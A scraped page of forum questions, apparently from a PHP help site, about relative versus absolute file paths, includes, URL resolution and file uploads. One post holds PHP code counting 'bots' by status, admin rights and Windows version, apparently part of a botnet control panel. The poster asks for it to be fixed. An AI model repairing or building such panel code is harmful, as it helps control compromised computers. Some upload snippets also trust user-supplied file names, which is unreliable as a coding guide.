|
PHP - Finding Relative File Path Not Absolute
Given a directory - folder1/subfolder1, I would like to loop through all subdirectories under the given directory and return the file path relative to the given directory.
Example: Code: [Select] Given Directory FolderA FolderB SubFolderA SubFolderB SubSubFolderA File1 FolderC the file path for File1 should be FolderB/SubFolderB/SubSubFolderA/ Any ideas? Similar TutorialsI found one post that related to this topic but I want to make sure I understand. If I have a site with the structu /root/ ____pageone.php ____common/ ___________base.php ___________header.php ____inc/ ______constants.inc.php ____admin/ _________login.php and base.php includes: <?php // Include site constants include_once "../inc/constants.inc.php"; ?> and login.php includes: <?php include_once "../common/base.php"; $pageTitle = "Log in"; include_once "../common/header.php"; ?> and pageone.php includes: Code: [Select] <?php include_once "common/base.php"; $pageTitle = "Page One"; include_once "common/header.php"; ?>the login page loads normally, but pageone.php is broken; I get error messages like Quote Warning: include_once(../inc/constants.inc.php) [function.include-once]: failed to open stream: No such file or directory in /Applications/XAMPP/xamppfiles/htdocs/rootdirectory/common/base.php on line 10 . From what I understand, PHP doesn't want to include the same files from different relative paths; you either need to use absolute paths or change the directory structure so that the included files are accessed through the exact same relative path. Is this correct? I find that if I move pageone.php to the admin folder and make the relative path the same, it does work. I have to say, I'm leery of using absolute paths; and if I'm understanding this correctly, you're really constrained on how you set up your directory structure. Comments? Hi: I'm a newby regarding uploading files to MySQL, turning report output into an HREF, and getting MySQL data via a hyperlink. I have successfully uploaded, files to MySQL, I have also been able to display filename information as a hyperlink in report output, but when I click on the hyperlink, I get the following message format on a 404 page: The requested URL /current_dir_of_requesting_page/filename.filetype was not found on this server. My reporting page has teh following line of code in a report table to create the hyperlink: <td style="width:225px"><? echo "<a href=".$row['name'].">".$row['name']."</a>";?></td> Can anyone assist me with this? I was wondering of it was possible to have a file say style.css in the root folder of a site like www.example.com/style.css and then get a subdomain called www.sub.example.com which points to www.example.com/subarea to get that file without the use of absolute paths? Sorry if its not clear. I am trying to find the URL to a directory TWO levels above the script level (if you know what I mean). For example.. the script sits at Code: [Select] http://www.domain.com/TestArea2/members/index.php BUT I need to find the path to Code: [Select] http://www.domain.com/TestArea2/ the nearest I get is... $domain = $_SERVER['HTTP_HOST']; $domain .= $_SERVER['REQUEST_URI']; echo $domain; // outputs www.domain.com/TestArea2/members/index.php Is there a simple method to do this or have I got to split the string and work backwards? Many thanks Directory structu /home/~test/public_html/soap/ .../xml/ .../bin/ .../products/browser/ In file /home/~test/public_html/soap/bin/products/browser/test.php, I include another file and call it's function: Code: [Select] require("../../xml/processXML.php"); $xmlData = generateXML(....); In the /home/~test/public_html/soap/xml/processXML.php, I have the following code: Code: [Select] function generateXML() { exec("../bin/code.cur"); } The problem is the exec("../bin/code.cur") fails of the relative path issue. I did a getcwd() before the exec() and it returned /home/~test/public_html/soap/bin/products/browser. I have tried using dirname() and no help. I hope this is clear enought to understand where I am coming from. Thank you. AM Any thoughts on this function? Basically what it does is take the current users location ($location) and a relative path ($link) and convert it to a valid URL. I do know that this does work on my example, but does anyone have any suggestions on this? Code: [Select] <?php $location = "http://mysite.com/pages/images/docs/myfile.html"; $link = "../../games/game.html"; function resolve_url($current, $link){ $ui = (object)parse_url($current); $domain = $ui->scheme."://".$ui->host; $levelsA = preg_split("/\.\.\//", $link); $levels = 0; foreach($levelsA as $l){ if(empty($l)) $levels++; } $currentA = preg_split("/\//", $current); $length = count($currentA); array_splice($currentA, -$levels - 1); $currentA[] = preg_replace("/\.\.\//", "", $link); return implode("/", $currentA); } echo resolve_url($location, $link); ?> Thanks! I need to find a way to resolve a relative path outside the document root, in a cross-platform friendly manner. My users have a settings page where they are able to set the path to a folder where files should be included. This path may not exist at the time of saving the setting. The given path is then retrieved from the database when files are being saved, the path is checked to see if a folder needs to be created, and the file is saved to the path. Two possible paths they may use a * files (This is the webpath: http://site.com/files or absolute path /home/user/public_html/files) * ../files (This is the absolute path: /home/user/files where the webroot is /home/user/public_html/) The first path is easy to deal with. However, I'm having a rough time resolving the second path into a usable system path (i.e. /home/user/files). This needs to be cross platform compatible (windows/'Nix). I've played around with realpath(), but I'm just not finding something that works for me. Any suggestions? In the file "secure/checkout.php" I have... Code: [Select] <?php require_once "../config.inc.php"; ?> which is Relative. Can I use an Absolute Path instead?? Debbie For the includes I use the following:
include($_SERVER['DOCUMENT_ROOT'] . "/cms/includes/connection.php");And for these following examples I use "http://localhost/": <img class="header_image" src="http://localhost/cms/assets/image/capture.png" /> <script type="text/javascript" src="http://localhost/cms/jquery/jquery.js"></script> <link rel="stylesheet" type="text/css" href="http://localhost/cms/assets/style.css" />With these examples I use "http://localhost/" because "$_SERVER['DOCUMENT_ROOT']" is not working with these above. My Question: Is there a function I could be using and replace it with "http://localhost/"? I am looking to have it like following: When I upload the web app onto the web server it still should be working out. EDIT: "Un-linking" those links which happen did not work. Edited by glassfish, 29 October 2014 - 06:46 AM. due to mod_rewrite flaws, i have to give everything an absolute path. somehow though, the stylesheet's absolute path wont work. heres the code: <link href="C:/xampp/htdocs/lso/style.css" rel="stylesheet" type="text/css" /> the stylesheet is in the lso folder, yet somehow this wont work and no styles are loaded! I'm working on an email template system where my client will go to a page and copy & paste the source code into their crm system. I'm trying to find a way to automatically replace the image path without the use of echo if possible. I've figured this out already with this script: Code: [Select] <? function GetFileDir($php_self){ $filename = explode("/", $php_self); // THIS WILL BREAK DOWN THE PATH INTO AN ARRAY for( $i = 0; $i < (count($filename) - 1); ++$i ) { $filename2 .= $filename[$i].'/'; } return $filename2; } ?> But I don't wanna have to go in and put Code: [Select] <?php echo GetFileDir("http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); ?> before all the image paths. So basically anywhere that src="images/whatever.jpg" is listed it will replace "images/" with "http://www.mydomain.com/images/whatever.jpg" is it possible to do this without having to place code before "images" ? This topic has been moved to CSS Help. http://www.phpfreaks.com/forums/index.php?topic=345942.0 I am trying to load an xml file but I can't seem to find the location to load it. Here is the location of the xml file: C:\inetpub\wwwroot\php\webphp.xml Here is the location of the file trying to load the xml: C:\inetpub\wwwroot\php\gui\guiindex.php What location would I put in he $xml = new SimpleXMLElement("XMLFILELOCATION", NULL, true); Hi, I'm sorry if this has already been posted, a search of the forum didn't turn anything up so i'll ask away. I'm trying to fetch urls from a document on my server and convert them into absolute urls. I can extract them but some of my links use ../ or ./. I think i've solved the ./ one but I can't find anything on getting the url when ../ is used. As an example some urls use ../index.php when in a directory so http://www.example.com/dir/test.php, so a url of ../index.php from here would land the user on http://www.example.com/index.php. At the moment it's landing on http://www.example.com/../index.php. Any ideas? Help would be appreciated Hope this goes here. I run php5 apache 2.2 with mysql4 on my local machine I prefer relative addresses. Can someone help with the correct syntax to call... say.. the Home page (index.php) in the root directory with something like <a href="../" (../ takes me back too far) when called internally At the moment I have to stipulate eg. <a href=index.php> etc Cheers Brian PHP 5.3 on Windows 7 running IIS 7 Hey... when using: Code: [Select] $dom = DOMDocument::load( 'p:\\WebTest\\test1.xml' );where P:\ is a mapped drive, I'm getting: Code: [Select] Warning: DOMDocument::load(): I/O warning : failed to load external entity "file:///p:/WebTest/test1.xml" in ... I've also tried using / instead of \\. If it's on c:\, it works fine, but I can't get the absolute path to work to a mapped drive. If I use \\\ip\\folder\\file (or //ip/folder/file) the page never loads. Any thoughts on getting DOMDocument to look at a shared network location on Windows? Thanks! well good moring dear folks - hope you are all right and everythings is fine across the atlantic today i have a question regarding server-paths - and the absolute and relative in a linux-[opensuse 11.4] lampp-system well i just installed something in to my Lampp on openSuse 11.4 while setting up this application - (it is a joomla 1.7.3 ) i wonder how i name the paths public $unicodeslugs = '0'; public $feed_limit = '10'; public $log_path = 'D:\\Xammp\\xampp\\htdocs\\pre1/logs'; public $tmp_path = 'D:\\Xammp\\xampp\\htdocs\\pre1/tmp'; public $lifetime = '15'; public $session_handler = 'database'; what cou you thinks how shoud i name the paths well you see above this was a windows box where the pahts originally were taken from love to hear from you Hi! So I'm working for someone, and they want me to fix this error in a PHP file.. Here is the code: <?php
include_once('config.php');
$online = mysql_query("SELECT * FROM bots WHERE status LIKE 'Online'");
$offline = mysql_query("SELECT * FROM bots WHERE status LIKE 'Offline'");
$dead = mysql_query("SELECT * FROM bots WHERE status LIKE 'Dead'");
$admintrue = mysql_query("SELECT * FROM bots WHERE admin LIKE 'True'");
$adminfalse = mysql_query("SELECT * FROM bots WHERE admin LIKE 'False'");
$windows8 = mysql_query("SELECT * FROM bots WHERE so LIKE '%8%'");
$windows7 = mysql_query("SELECT * FROM bots WHERE so LIKE '%7%'");
$windowsvista = mysql_query("SELECT * FROM bots WHERE so LIKE '%vista%'");
$windowsxp = mysql_query("SELECT * FROM bots WHERE so LIKE '%xp%'");
$unknown = mysql_query("SELECT * FROM bots WHERE so LIKE 'Unknown'");
$totalbots = mysql_num_rows(mysql_query("SELECT * FROM bots"));
$onlinecount = 0;
$offlinecount = 0;
$deadcount = 0;
$admintruecount = 0;
$adminfalsecount = 0;
$windows8count = 0;
$windows7count = 0;
$windowsvistacount = 0;
$windowsxpcount = 0;
$unknowncount = 0;
while($row = mysql_fetch_array($online)){
$onlinecount++;
}
while($row = mysql_fetch_array($offline)){
$offlinecount++;
}
while($row = mysql_fetch_array($dead)){
$deadcount++;
}
while($row = mysql_fetch_array($admintrue)){
$admintruecount++;
}
while($row = mysql_fetch_array($adminfalse)){
$adminfalsecount++;
}
while($row = mysql_fetch_array($windows8)){
$windows8count++;
}
while($row = mysql_fetch_array($windows7)){
$windows7count++;
}
while($row = mysql_fetch_array($windowsvista)){
$windowsvistacount++;
}
while($row = mysql_fetch_array($windowsxp)){
$windowsxpcount++;
}
while($row = mysql_fetch_array($unknown)){
$unknowncount++;
}
$statustotal = $onlinecount + $offlinecount + $deadcount;
$admintotal = $admintruecount + $adminfalsecount;
$sototal = $windows7count + $windowsvistacount + $windowsxpcount + $unknowncount;
?>
Can anyone tell me the error here, can how to fix it? <td><label for='images'> <b>File to upload:</b> </label></td> <td><input type='file' name = 'drama_image' '<?php echo $row['drama_image']; ?>'/></ </tr> <?php $target_path = "images/"; $target_path = $target_path . basename( $_FILES['images']['name']); if(move_uploaded_file($_FILES['images']['tmp_name'], $target_path)) { echo "The file ". basename( $_FILES['images']['name']). " has been uploaded"; } else{ echo $row['drama_image']; } ?> ['drama_image'] is the name of the file I wanna echo it out in the box of file upload so when I save , the default picture will still be there instead of being overwritten as the box does not have any value in it. I have a made a section on my site where I can upload files to a specific directory, rename them and delete them. So I don't have to go through a FTP program. When renaming and deleting a file I connect using FTP commands with PHP, except when uploading. When uploading it gets the file that has been uploaded from the form on the page before which has its own code using <input type="file"> to search for a local file, then when submit is clicked it uploads it. Then on my PHP script it moves that file from the temp upload folder to the actual site. Bottom line is, is there any way I can make a button that opens a file browser on the users PC and returns the filepath chosen? So I can use FTP to upload the file rather than the form? |
|||||||